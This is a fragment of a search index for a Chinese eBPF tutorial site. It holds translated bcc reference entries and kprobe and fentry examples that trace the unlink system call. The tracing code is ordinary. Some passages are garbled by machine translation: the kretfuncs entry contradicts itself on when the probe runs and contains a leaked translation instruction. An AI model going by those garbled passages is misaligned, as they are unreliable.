open_perf_buffer() 4. values() 5. clear() 6. items_lookup_and_delete_batch() 7. items_lookup_batch() 8. items_delete_batch() 9. items_update_batch() 11. print_linear_hist()\".语法: table.print_linear_hist(val_type=\"value\", section_header=\"Bucket ptr\", section_print_fn=None) 12. open_ring_buffer() 13. push() 14. pop() 15. peek() 辅助方法 1. ksym() 2. ksymname() 3. sym() 4. num_open_kprobes() 5. get_syscall_fnname() BPF 错误 1. Invalid mem access 2. 无法从专有程序调用 GPL-only 函数 环境变量 1. 内核源代码目录 2. 内核版本覆盖","breadcrumbs":"bcc Reference Guide » 目录","id":"238","title":"目录"},"239":{"body":"本节介绍了 bcc 程序的 C 部分。","breadcrumbs":"bcc Reference Guide » BPF C","id":"239","title":"BPF C"},"24":{"body":"完整代码如下： #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} 这段代码是一个简单的 eBPF 程序，用于监测和捕获在 Linux 内核中执行的 unlink 系统调用。unlink 系统调用的功能是删除一个文件，这个 eBPF 程序通过使用 kprobe（内核探针）在do_unlinkat函数的入口和退出处放置钩子，实现对该系统调用的跟踪。 首先，我们导入必要的头文件，如 vmlinux.h，bpf_helpers.h，bpf_tracing.h 和 bpf_core_read.h。接着，我们定义许可证，以允许程序在内核中运行。 #include \"vmlinux.h\"\n#include \n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; 接下来，我们定义一个名为BPF_KPROBE(do_unlinkat)的 kprobe，当进入do_unlinkat函数时，它会被触发。该函数接受两个参数：dfd（文件描述符）和name（文件名结构体指针）。在这个 kprobe 中，我们获取当前进程的 PID（进程标识符），然后读取文件名。最后，我们使用bpf_printk函数在内核日志中打印 PID 和文件名。 SEC(\"kprobe/do_unlinkat\")\nint BPF_KPROBE(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; const char *filename; pid = bpf_get_current_pid_tgid() >> 32; filename = BPF_CORE_READ(name, name); bpf_printk(\"KPROBE ENTRY pid = %d, filename = %s\\n\", pid, filename); return 0;\n} 接下来，我们定义一个名为BPF_KRETPROBE(do_unlinkat_exit)的 kretprobe，当从do_unlinkat函数退出时，它会被触发。这个 kretprobe 的目的是捕获函数的返回值（ret）。我们再次获取当前进程的 PID，并使用bpf_printk函数在内核日志中打印 PID 和返回值。 SEC(\"kretprobe/do_unlinkat\")\nint BPF_KRETPROBE(do_unlinkat_exit, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"KPROBE EXIT: pid = %d, ret = %ld\\n\", pid, ret); return 0;\n} eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。 要编译这个程序，请使用 ecc 工具： $ ecc kprobe-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json... 然后运行： sudo ecli run package.json 在另外一个窗口中： touch test1\nrm test1\ntouch test2\nrm test2 在 /sys/kernel/debug/tracing/trace_pipe 文件中，应该能看到类似下面的 kprobe 演示输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9346 [005] d..3 4710.951696: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test1 rm-9346 [005] d..4 4710.951819: bpf_trace_printk: KPROBE EXIT: ret = 0 rm-9346 [005] d..3 4710.951852: bpf_trace_printk: KPROBE ENTRY pid = 9346, filename = test2 rm-9346 [005] d..4 4710.951895: bpf_trace_printk: KPROBE EXIT: ret = 0","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » kprobe 示例","id":"24","title":"kprobe 示例"},"240":{"body":"","breadcrumbs":"bcc Reference Guide » Events & Arguments","id":"240","title":"Events & Arguments"},"241":{"body":"语法：kprobe__ kernel_function_name kprobe__ 是一个特殊的前缀，用于创建一个 kprobe（对内核函数调用的动态跟踪），后面跟着的是内核函数的名称。你也可以通过声明一个普通的 C 函数，然后使用 Python 的 BPF.attach_kprobe()（稍后会介绍）将其与一个内核函数关联起来来使用 kprobe。 参数在函数声明中指定：kprobe__ kernel_function_name (struct pt_regs *ctx [, argument1 ...]) 例如： int kprobe__tcp_v4_connect(struct pt_regs *ctx, struct sock *sk) { [...]\n} 这会使用 kprobe 对 tcp_v4_connect() 内核函数进行插装，并使用以下参数： struct pt_regs *ctx: 寄存器和 BPF 上下文。 struct sock *sk: tcp_v4_connect() 的第一个参数。 第一个参数始终是 struct pt_regs *，其余的是函数的参数（如果你不打算使用它们，则不需要指定）。 示例代码： code （ 输出结果 ),\".\" code （ output )","breadcrumbs":"bcc Reference Guide » 1. kprobes","id":"241","title":"1. kprobes"},"242":{"body":"语法: kretprobe__ kernel_function_name kretprobe__是一个特殊的前缀，它创建了一个kretprobe（对提供的内核函数名进行动态追踪，跟踪内核函数的返回）。您也可以通过声明一个普通的C函数，然后使用Python的BPF.attach_kretprobe()（稍后介绍）将其与内核函数关联起来，来使用kretprobes。 返回值可用作PT_REGS_RC(ctx)，给定函数声明为：kretprobe__ kernel_function_name (struct pt_regs *ctx) 例如: int kretprobe__tcp_v4_connect(struct pt_regs *ctx)\n{ int ret = PT_REGS_RC(ctx); [...]\n} 这个例子使用kretprobe来对tcp_v4_connect()内核函数的返回进行检测，并将返回值存储在ret中。 现有的用法示例: code （ output )","breadcrumbs":"bcc Reference Guide » 2. kretprobes","id":"242","title":"2. kretprobes"},"243":{"body":"语法: TRACEPOINT_PROBE( category , event ) 这是一个宏，用于对由 category : event 定义的tracepoint进行追踪。 tracepoint名称为:。 probe函数名为tracepoint____。 参数在一个args结构体中可用，这些参数是tracepoint的参数。列出这些参数的一种方法是在/sys/kernel/debug/tracing/events/ category / event /format下查看相关的格式文件。\"args 结构体可用于替代 ctx，作为需要上下文作为参数的每个函数中的参数。这包括特别是 perf_submit() 。 例如： TRACEPOINT_PROBE(random, urandom_read) { // args is from /sys/kernel/debug/tracing/events/random/urandom_read/format bpf_trace_printk(\"%d\\\\n\", args->got_bits); return 0;\n} 这会给 random:urandom_read 追踪点注入代码，并打印出追踪点参数 got_bits。 在使用 Python API 时，此探针会自动附加到正确的追踪点目标上。 对于 C++，可以通过明确指定追踪点目标和函数名来附加此追踪点探针： BPF::attach_tracepoint(\"random:urandom_read\", \"tracepoint__random__urandom_read\") 注意，上面定义的探针函数的名称是 tracepoint__random__urandom_read。 实际示例： code ( output )， search /examples ， search /tools","breadcrumbs":"bcc Reference Guide » 3. Tracepoints","id":"243","title":"3. Tracepoints"},"244":{"body":"这些是通过在 C 中声明一个普通函数，然后在 Python 中通过 BPF.attach_uprobe() 将其关联为 uprobes 探针来进行注入的（稍后会介绍）。 可以使用 PT_REGS_PARM 宏来检查参数。 例如： int count(struct pt_regs *ctx) { char buf[64]; bpf_probe_read_user(&buf, sizeof(buf), (void *)PT_REGS_PARM1(ctx)); bpf_trace_printk(\"%s %d\", buf, PT_REGS_PARM2(ctx)); return(0);\n} 这将读取第一个参数作为字符串，然后用第二个参数作为整数打印出来。 实际示例： code 。### 5。uretprobes 这些是通过在C中声明一个普通函数，然后在Python中通过BPF.attach_uretprobe()将其关联为uretprobe探测点（稍后详述）来进行插装的。 返回值可以通过PT_REGS_RC(ctx)访问，前提是有一个如下声明的函数： function_name (struct pt_regs *ctx) 例如： BPF_HISTOGRAM(dist);\nint count(struct pt_regs *ctx) { dist.increment(PT_REGS_RC(ctx)); return 0;\n} 这会递增由返回值索引的dist直方图中的存储桶。 现场演示示例： code ( output ), code ( output )","breadcrumbs":"bcc Reference Guide » 4. uprobes","id":"244","title":"4. uprobes"},"245":{"body":"这些是用户静态定义追踪（USDT）探测点，可以放置在某些应用程序或库中，以提供用户级别等效的跟踪点。用于USDT支持的主要BPF方法是enable_probe()。通过在C中声明一个普通函数，然后在Python中通过USDT.enable_probe()将其关联为USDT探测点来进行插装。 可以通过以下方式读取参数：bpf_usdt_readarg( index , ctx, &addr) 例如： int do_trace(struct pt_regs *ctx) { uint64_t addr; char path[128]; bpf_usdt_readarg(6, ctx, &addr); bpf_probe_read_user(&path, sizeof(path), (void *)addr); bpf_trace_printk(\"path:%s\\\\n\", path); return 0;\n}; 这会读取第六个USDT参数，然后将其作为字符串存储到path中。当使用C API中的BPF::init的第三个参数进行USDT的初始化时，如果任何USDT无法进行init，则整个BPF::init都会失败。如果您对一些USDT无法进行init感到满意，则在调用BPF::init之前使用BPF::init_usdt。","breadcrumbs":"bcc Reference Guide » 6. USDT探测点","id":"245","title":"6. USDT探测点"},"246":{"body":"语法：RAW_TRACEPOINT_PROBE( event ) 这是一个宏，用于仪表化由 event 定义的原始跟踪点。 该参数是指向结构体bpf_raw_tracepoint_args的指针，该结构体定义在 bpf.h 中。结构体字段args包含了原始跟踪点的所有参数，可以在 include/trace/events 目录中找到。 例如： RAW_TRACEPOINT_PROBE(sched_switch)\n{ // TP_PROTO(bool preempt, struct task_struct *prev, struct task_struct *next) struct task_struct *prev = (struct task_struct *)ctx->args[1]; struct task_struct *next= (struct task_struct *)ctx->args[2]; s32 prev_tgid, next_tgid; bpf_probe_read_kernel(&prev_tgid, sizeof(prev->tgid), &prev->tgid); bpf_probe_read_kernel(&next_tgid, sizeof(next->tgid), &next->tgid); bpf_trace_printk(\"%d -> %d\\\\n\", prev_tgid, next_tgid);\n} 这将仪表化sched:sched_switch跟踪点，并打印prev和next tgid。","breadcrumbs":"bcc Reference Guide » 7. 原始跟踪点","id":"246","title":"7. 原始跟踪点"},"247":{"body":"语法：syscall__SYSCALLNAME。syscall__是一个特殊的前缀，用于为提供的系统调用名称创建一个kprobe。您可以通过声明一个普通的C函数，然后使用Python的BPF.get_syscall_fnname(SYSCALLNAME)和BPF.attach_kprobe()来使用它。 参数在函数声明中指定: syscall__SYSCALLNAME(struct pt_regs *ctx, [, argument1 ...]). 例如： int syscall__execve(struct pt_regs *ctx, const char __user *filename, const char __user *const __user *__argv, const char __user *const __user *__envp)\n{ [...]\n} 这将对execve系统调用进行探查。 第一个参数始终是struct pt_regs *，其余的参数是函数的参数（如果您不打算使用它们，则无需指定）。 相应的Python代码： b = BPF(text=bpf_text)\nexecve_fnname = b.get_syscall_fnname(\"execve\")\nb.attach_kprobe(event=execve_fnname, fn_name=\"syscall__execve\") 示例： code ( output )","breadcrumbs":"bcc Reference Guide » 8. 系统调用跟踪点","id":"247","title":"8. 系统调用跟踪点"},"248":{"body":"语法：KFUNC_PROBE( function , typeof(arg1) arg1, typeof(arg2) arge ...) 这是一个通过跳板来在内核函数执行 之前 对其进行探查的宏。它由 function 名称和 argX 定义的函数参数组成。 例如： KFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode)\n{ ...\n} 这将对do_sys_open内核函数进行探查，并将其参数作为标准参数值访问。 示例： search /tools","breadcrumbs":"bcc Reference Guide » 9. kfuncs","id":"248","title":"9. kfuncs"},"249":{"body":"语法：KRETFUNC_PROBE( event , typeof(arg1) arg1, typeof(arg2) arge ..., int ret) 这是一个通过跳板来在内核函数执行 之前 探查的宏。 格式：仅返回翻译后的内容，不包括原始文本。 在 函数执行之后。它由 函数 名称和定义为 argX 的函数参数定义。 探针的最后一个参数是检测函数的返回值。 例如： KRETFUNC_PROBE(do_sys_open, int dfd, const char *filename, int flags, int mode, int ret)\n{ ... 这会对do_sys_open内核函数进行检测，并将其参数作为标准参数值一起与其返回值一起提取。 原地示例： 搜索 /tools","breadcrumbs":"bcc Reference Guide » 10. kretfuncs","id":"249","title":"10. kretfuncs"},"25":{"body":"通过本文的示例，我们学习了如何使用 eBPF 的 kprobe 和 kretprobe 捕获 unlink 系统调用。更多的例子和详细的开发指南，请参考 eunomia-bpf 的官方文档： https://github.com/eunomia-bpf/eunomia-bpf 本文是 eBPF 入门开发实践教程的第二篇。下一篇文章将介绍如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 如果您希望学习更多关于 eBPF 的知识和实践，可以访问我们的教程代码仓库 https://github.com/eunomia-bpf/bpf-developer-tutorial 或网站 https://eunomia.dev/zh/tutorials/ 以获取更多示例和完整的教程。","breadcrumbs":"使用 kprobe 监测捕获 unlink 系统调用 » 总结","id":"25","title":"总结"},"250":{"body":"语法：LSM_PROBE( hook , typeof(arg1) arg1, typeof(arg2) arg2 ...) 这是一种将LSM挂钩作为BPF程序进行检测的宏。它可以用于审计安全事件和实施BPF中的MAC安全策略。 它通过指定挂钩名及其参数来定义。 可以在 include/linux/security.h 中找到挂钩名称，方法是取security_hookname之类的函数名，然后只保留hookname部分。 例如，security_bpf仅变成了bpf。 与其他BPF程序类型不同，LSM探针中指定的返回值是很重要的。返回值为0表示挂钩成功，而 任何非零的返回值都会导致挂钩失败和拒绝安全操作。 以下示例对一个拒绝所有未来BPF操作的挂钩进行了检测： LSM_PROBE(bpf, int cmd, union bpf_attr *attr, unsigned int size)\n{ return -EPERM;\n} 这会对security_bpf挂钩进行检测，并导致其返回-EPERM。 将return -EPERM更改为return 0会导致BPF程序允许该操作。 LSM探针需要至少一个5.7+内核，并设置了以下配置选项： CONFIG_BPF_LSM=y CONFIG_LSM 逗号分隔的字符串必须包含\"bpf\"（例如， CONFIG_LSM=\"lockdown,yama,bpf\") 原地示例：\" 搜索/tests","breadcrumbs":"bcc Reference Guide » 11. LSM Probes","id":"250","title":"11. LSM Probes"},"251":{"body":"语法: BPF_ITER(target) 这是一个宏，用于定义一个bpf迭代器程序的程序签名。参数 target 指定要迭代的内容。 目前，内核没有接口来发现支持哪些目标。一个好的查找支持内容的地方是在 tools/testing/selftests/bpf/prog_test/bpf_iter.c ，一些示例bpf迭代器程序位于 tools/testing/selftests/bpf/progs ，其中文件名以 bpf_iter 为前缀。 以下示例为 task 目标定义了一个程序，该程序遍历内核中的所有任务。 BPF_ITER(task)\n{ struct seq_file *seq = ctx->meta->seq; struct task_struct *task = ctx->task; if (task == (void *)0) return 0; ... task->pid, task->tgid, task->comm, ... return 0;\n} 在5.8内核中引入了BPF迭代器，可以用于任务（task）、任务文件（task_file）、bpf map、netlink_sock和ipv6_route。在5.9中，对tcp/udp socket和bpf map元素（hashmap、arraymap和sk_local_storage_map）遍历添加了支持。","breadcrumbs":"bcc Reference Guide » 12. BPF迭代器","id":"251","title":"12. BPF迭代器"},"252":{"body":"","breadcrumbs":"bcc Reference Guide » 数据","id":"252","title":"数据"},"253":{"body":"语法: int bpf_probe_read_kernel(void *dst, int size, const void*src) 返回值: 成功时返回0 该函数将从内核地址空间复制size字节到BPF堆栈，以便BPF之后可以对其进行操作。为了安全起见，所有内核内存读取都必须通过bpf_probe_read_kernel()进行。在某些情况下，比如解引用内核变量时，这会自动发生，因为bcc会重新编写BPF程序以包含所需的bpf_probe_read_kernel()。 现场示例： 搜索 /examples , 搜索 /tools","breadcrumbs":"bcc Reference Guide » 1. bpf_probe_read_kernel()","id":"253","title":"1. bpf_probe_read_kernel()"},"254":{"body":"语法：int bpf_probe_read_kernel_str(void *dst, int size, const void*src) 返回值： > 0 成功时字符串长度（包括结尾的NULL字符） < 0 出错 该函数将一个以NULL结尾的字符串从内核地址空间复制到BPF堆栈中，以便BPF以后可以对其进行操作。如果字符串的长度小于size，则目标不会用更多的NULL字节进行填充。如果字符串的长度大于size，则只会复制size - 1个字节，并将最后一个字节设置为NULL。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 2. bpf_probe_read_kernel_str()\".```shell","id":"254","title":"2. bpf_probe_read_kernel_str()\".```shell"},"255":{"body":"语法：u64 bpf_ktime_get_ns(void) 返回值：u64 纳秒数。从系统启动时间开始计数，但在挂起期间停止计数。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 3. bpf_ktime_get_ns()","id":"255","title":"3. bpf_ktime_get_ns()"},"256":{"body":"语法：u64 bpf_get_current_pid_tgid(void) 返回值：current->tgid << 32 | current->pid 返回进程ID位于低32位（内核视图的PID，在用户空间通常表示为线程ID），线程组ID位于高32位（在用户空间通常被认为是PID）。通过直接设置为u32类型，我们丢弃了高32位。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. bpf_get_current_pid_tgid()","id":"256","title":"4. bpf_get_current_pid_tgid()"},"257":{"body":"语法：u64 bpf_get_current_uid_gid(void) 返回值：current_gid << 32 | current_uid 返回用户ID和组ID。 示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 5. bpf_get_current_uid_gid()","id":"257","title":"5. bpf_get_current_uid_gid()"},"258":{"body":"语法: bpf_get_current_comm(char *buf, int size_of_buf) 返回值: 成功时返回0 将当前进程的名称填充到第一个参数地址中。它应该是一个指向字符数组的指针，大小至少为TASK_COMM_LEN，该变量在linux/sched.h中定义。例如: #include  int do_trace(struct pt_regs *ctx) { char comm[TASK_COMM_LEN]; bpf_get_current_comm(&comm, sizeof(comm));\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 6. bpf_get_current_comm()","id":"258","title":"6. bpf_get_current_comm()"},"259":{"body":"语法: bpf_get_current_task() 返回值: 返回指向当前任务的struct task_struct指针。 返回指向当前任务的task_struct对象的指针。该辅助函数可用于计算进程的CPU时间，标识内核线程，获取当前CPU的运行队列或检索许多其他信息。 在Linux 4.13中，由于字段随机化的问题，您可能需要在包含之前定义两个#define指令: #define randomized_struct_fields_start struct {\n#define randomized_struct_fields_end };\n#include  int do_trace(void *ctx) { struct task_struct *t = (struct task_struct *)bpf_get_current_task();\n[...] 现有示例: 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 7. bpf_get_current_task()","id":"259","title":"7. bpf_get_current_task()"},"26":{"body":"eBPF (Extended Berkeley Packet Filter) 是 Linux 内核上的一个强大的网络和性能分析工具。它允许开发者在内核运行时动态加载、更新和运行用户定义的代码。 本文是 eBPF 入门开发实践教程的第三篇，在 eBPF 中使用 fentry 捕获 unlink 系统调用。","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用","id":"26","title":"eBPF 入门开发实践教程三：在 eBPF 中使用 fentry 监测捕获 unlink 系统调用"},"260":{"body":"语法: unsigned int bpf_log2l(unsigned long v) 返回提供的值的log-2。这通常用于创建直方图的索引，以构建2的幂次直方图。在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 8. bpf_log2l()","id":"260","title":"8. bpf_log2l()"},"261":{"body":"语法：u32 bpf_get_prandom_u32() 返回一个伪随机的 u32。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 9. bpf_get_prandom_u32()","id":"261","title":"9. bpf_get_prandom_u32()"},"262":{"body":"语法：int bpf_probe_read_user(void *dst, int size, const void*src) 返回值：成功时返回0 该函数尝试安全地从用户地址空间读取size个字节到BPF栈中，以便BPF之后可以操作它。为确保安全，所有用户地址空间内存读取必须通过bpf_probe_read_user()。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 10. bpf_probe_read_user()","id":"262","title":"10. bpf_probe_read_user()"},"263":{"body":"语法：int bpf_probe_read_user_str(void *dst, int size, const void*src) 返回值： > 0 成功时返回字符串长度（包括结尾的NULL） < 0 错误 该函数将一个以NULL结尾的字符串从用户地址空间复制到BPF栈中，以便BPF之后可以操作它。如果字符串长度小于size，则目标不会用额外的NULL字节填充。如果字符串长度大于size，则只会复制size - 1字节，并将最后一字节设置为NULL。 在原地示例： 搜索/示例 ， 搜索/工具","breadcrumbs":"bcc Reference Guide » 11. bpf_probe_read_user_str()","id":"263","title":"11. bpf_probe_read_user_str()"},"264":{"body":"语法：u32 bpf_get_ns_current_pid_tgid(u64 dev, u64 ino, struct bpf_pidns_info*nsdata, u32 size)。从当前 命名空间 中看到的 pid 和 tgid 的值将在 nsdata 中返回。 成功返回0，失败时返回以下之一： 如果提供的dev和inum与当前任务的nsfs的dev_t和inode号不匹配，或者dev转换为dev_t丢失了高位，则返回**-EINVAL**。 如果当前任务的pidns不存在，则返回**-ENOENT**。 原地示例： 搜索/examples , 搜索/tools","breadcrumbs":"bcc Reference Guide » 12. bpf_get_ns_current_pid_tgid()","id":"264","title":"12. bpf_get_ns_current_pid_tgid()"},"265":{"body":"","breadcrumbs":"bcc Reference Guide » 调试","id":"265","title":"调试"},"266":{"body":"语法：int bpf_override_return(struct pt_regs *, unsigned long rc) 返回值：成功时返回0 当用于附加到函数入口的程序时，会导致该函数的执行被跳过，立即返回rc。这用于目标错误注入。 仅当允许错误注入时，bpf_override_return才有效。白名单列表中需要在内核源代码中给一个函数打上 ALLOW_ERROR_INJECTION() 的标签；参考 io_ctl_init 的示例。如果该函数未被加入白名单，bpf程序将无法附加，出现 ioctl(PERF_EVENT_IOC_SET_BPF): Invalid argument 错误。 int kprobe__io_ctl_init(void *ctx) { bpf_override_return(ctx, -ENOMEM); return 0;\n}","breadcrumbs":"bcc Reference Guide » 1. bpf_override_return()","id":"266","title":"1. bpf_override_return()"},"267":{"body":"","breadcrumbs":"bcc Reference Guide » 输出","id":"267","title":"输出"},"268":{"body":"语法：int bpf_trace_printk(const char *fmt, ...) 返回值：成功时返回0 对于通常的trace_pipe (/sys/kernel/debug/tracing/trace_pipe)提供了一个简单的内核printf()功能。这对于一些快速示例是可以接受的，但有一些限制：最多3个参数，只有一个%s，而且trace_pipe是全局共享的，所以并发程序会有冲突输出。更好的接口是通过BPF_PERF_OUTPUT()。注意，与原始内核版本相比，调用这个辅助函数变得更简单，它的第二个参数已经是 fmt_size。 原地示例：\" 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 1. bpf_trace_printk()","id":"268","title":"1. bpf_trace_printk()"},"269":{"body":"语法：BPF_PERF_OUTPUT(name) 创建一个BPF表格，通过性能环形缓冲区将自定义事件数据推送到用户空间。这是将每个事件数据推送到用户空间的首选方法。 例如： struct data_t { u32 pid; u64 ts; char comm[TASK_COMM_LEN];\n};\nBPF_PERF_OUTPUT(events); int hello(struct pt_regs *ctx) { struct data_t data = {}; data.pid = bpf_get_current_pid_tgid(); data.ts = bpf_ktime_get_ns(); bpf_get_current_comm(&data.comm, sizeof(data.comm)); events.perf_submit(ctx, &data, sizeof(data)); return 0;\n} 输出表格名为events，数据通过events.perf_submit()推送到该表格。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 2. BPF_PERF_OUTPUT","id":"269","title":"2. BPF_PERF_OUTPUT"},"27":{"body":"fentry（function entry）和 fexit（function exit）是 eBPF（扩展的伯克利包过滤器）中的两种探针类型，用于在 Linux 内核函数的入口和退出处进行跟踪。它们允许开发者在内核函数执行的特定阶段收集信息、修改参数或观察返回值。这种跟踪和监控功能在性能分析、故障排查和安全分析等场景中非常有用。 与 kprobes 相比，fentry 和 fexit 程序有更高的性能和可用性。在这个例子中，我们可以直接访问函数的指针参数，就像在普通的 C 代码中一样，而不需要使用各种读取帮助程序。fexit 和 kretprobe 程序最大的区别在于，fexit 程序可以访问函数的输入参数和返回值，而 kretprobe 只能访问返回值。从 5.5 内核开始，fentry 和 fexit 对 eBPF 程序可用。 #include \"vmlinux.h\"\n#include \n#include  char LICENSE[] SEC(\"license\") = \"Dual BSD/GPL\"; SEC(\"fentry/do_unlinkat\")\nint BPF_PROG(do_unlinkat, int dfd, struct filename *name)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fentry: pid = %d, filename = %s\\n\", pid, name->name); return 0;\n} SEC(\"fexit/do_unlinkat\")\nint BPF_PROG(do_unlinkat_exit, int dfd, struct filename *name, long ret)\n{ pid_t pid; pid = bpf_get_current_pid_tgid() >> 32; bpf_printk(\"fexit: pid = %d, filename = %s, ret = %ld\\n\", pid, name->name, ret); return 0;\n} 这段程序是用 C 语言编写的 eBPF（扩展的伯克利包过滤器）程序，它使用 BPF 的 fentry 和 fexit 探针来跟踪 Linux 内核函数 do_unlinkat。在这个教程中，我们将以这段程序作为示例，让您学会如何在 eBPF 中使用 fentry 监测捕获 unlink 系统调用。 程序包含以下部分： 包含头文件：包括 vmlinux.h（用于访问内核数据结构）、bpf/bpf_helpers.h（包含eBPF帮助函数）、bpf/bpf_tracing.h（用于eBPF跟踪相关功能）。 定义许可证：这里定义了一个名为 LICENSE 的字符数组，包含许可证信息“Dual BSD/GPL”。 定义 fentry 探针：我们定义了一个名为 BPF_PROG(do_unlinkat) 的 fentry 探针，该探针在 do_unlinkat 函数的入口处被触发。这个探针获取当前进程的 PID（进程ID）并将其与文件名一起打印到内核日志。 定义 fexit 探针：我们还定义了一个名为 BPF_PROG(do_unlinkat_exit) 的 fexit 探针，该探针在 do_unlinkat 函数的退出处被触发。与 fentry 探针类似，这个探针也会获取当前进程的 PID 并将其与文件名和返回值一起打印到内核日志。 通过这个示例，您可以学习如何在 eBPF 中使用 fentry 和 fexit 探针来监控和捕获内核函数调用，例如在本教程中的 unlink 系统调用。 eunomia-bpf 是一个结合 Wasm 的开源 eBPF 动态加载运行时和开发工具链，它的目的是简化 eBPF 程序的开发、构建、分发、运行。可以参考 https://github.com/eunomia-bpf/eunomia-bpf 下载和安装 ecc 编译工具链和 ecli 运行时。我们使用 eunomia-bpf 编译运行这个例子。 编译运行上述代码： $ ecc fentry-link.bpf.c\nCompiling bpf object...\nPacking ebpf object and config into package.json...\n$ sudo ecli run package.json\nRuning eBPF program... 在另外一个窗口中： touch test_file\nrm test_file\ntouch test_file2\nrm test_file2 运行这段程序后，可以通过查看 /sys/kernel/debug/tracing/trace_pipe 文件来查看 eBPF 程序的输出： $ sudo cat /sys/kernel/debug/tracing/trace_pipe rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file, ret = 0 rm-9290 [004] d..2 4637.798698: bpf_trace_printk: fentry: pid = 9290, filename = test_file2 rm-9290 [004] d..2 4637.798843: bpf_trace_printk: fexit: pid = 9290, filename = test_file2, ret = 0","breadcrumbs":"使用 fentry 监测捕获 unlink 系统调用 » Fentry","id":"27","title":"Fentry"},"270":{"body":"语法：int perf_submit((void *)ctx, (void*)data, u32 data_size) 返回值：成功返回0 这是BPF_PERF_OUTPUT表格的一种方法，用于向用户空间提交自定义事件数据。参见BPF_PERF_OUTPUT条目（最终调用bpf_perf_event_output()）。 ctx参数在 kprobes 或 kretprobes 中提供。对于SCHED_CLS或SOCKET_FILTER程序，必须使用struct __sk_buff *skb。 示例中包含以下内容： 搜索 /示例 , 搜索 /工具","breadcrumbs":"bcc Reference Guide » 3. perf_submit()","id":"270","title":"3. perf_submit()"},"271":{"body":"语法：int perf_submit_skb((void *)ctx, u32 packet_size, (void*)data, u32 data_size) 返回值：成功返回0\".一种在网络程序类型中可用的BPF_PERF_OUTPUT表的方法，用于将自定义事件数据和数据包缓冲区的前packet_size字节一起提交到用户空间。请参阅BPF_PERF_OUTPUT条目。（最终调用bpf_perf_event_output()函数。） 现场示例： 搜索/examples 搜索/tools","breadcrumbs":"bcc Reference Guide » 4. perf_submit_skb()","id":"271","title":"4. perf_submit_skb()"},"272":{"body":"语法：BPF_RINGBUF_OUTPUT(name, page_cnt) 创建一个BPF表，通过一个环形缓冲区将自定义事件数据推送到用户空间。 BPF_RINGBUF_OUTPUT相较于BPF_PERF_OUTPUT具有以下几个优点： 缓冲区在所有CPU之间共享，即每个CPU不需要单独分配 支持两种BPF程序的API map.ringbuf_output()类似于map.perf_submit()（在 ringbuf_output 中介绍） map.ringbuf_reserve()/map.ringbuf_submit()/map.ringbuf_discard()将保留缓冲区空间和提交事件的过程分为两步（在 ringbuf_reserve 、 ringbuf_submit 和 ringbuf_discard 中介绍） BPF API不需要访问CPU ctx参数 通过共享的环形缓冲区管理器，在用户空间中具有更高的性能和更低的延迟 支持两种在用户空间中消费数据的方式 从Linux 5.8开始，这应该是将事件数据推送到用户空间的首选方法。 输出表命名为'事件'。数据通过'事件'。ringbuf_reserve（）分配，并通过'事件'。ringbuf_submit（）推送到其中。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 5. BPF_RINGBUF_OUTPUT","id":"272","title":"5. BPF_RINGBUF_OUTPUT"},"273":{"body":"语法：int ringbuf_output（（void *）data，u64 data_size，u64 flags） 返回：成功返回0 标志： BPF_RB_NO_WAKEUP：不发送新数据可用的通知 BPF_RB_FORCE_WAKEUP：无条件发送新数据可用的通知 BPF_RINGBUF_OUTPUT表的方法，用于将自定义事件数据提交给用户空间。此方法类似于perf_submit（），但不需要ctx参数。 在situ示例： 搜索/示例 ，","breadcrumbs":"bcc Reference Guide » 6. ringbuf_output（）","id":"273","title":"6. ringbuf_output（）"},"274":{"body":"语法：void * ringbuf_reserve（u64 data_size） 返回：成功时返回数据结构的指针，失败时返回NULL BPF_RINGBUF_OUTPUT表的方法，用于在环形缓冲区中保留空间并同时分配一个用于输出的数据结构。必须与ringbuf_submit或ringbuf_discard之一配合使用。 在situ示例： [搜索/示例]（ 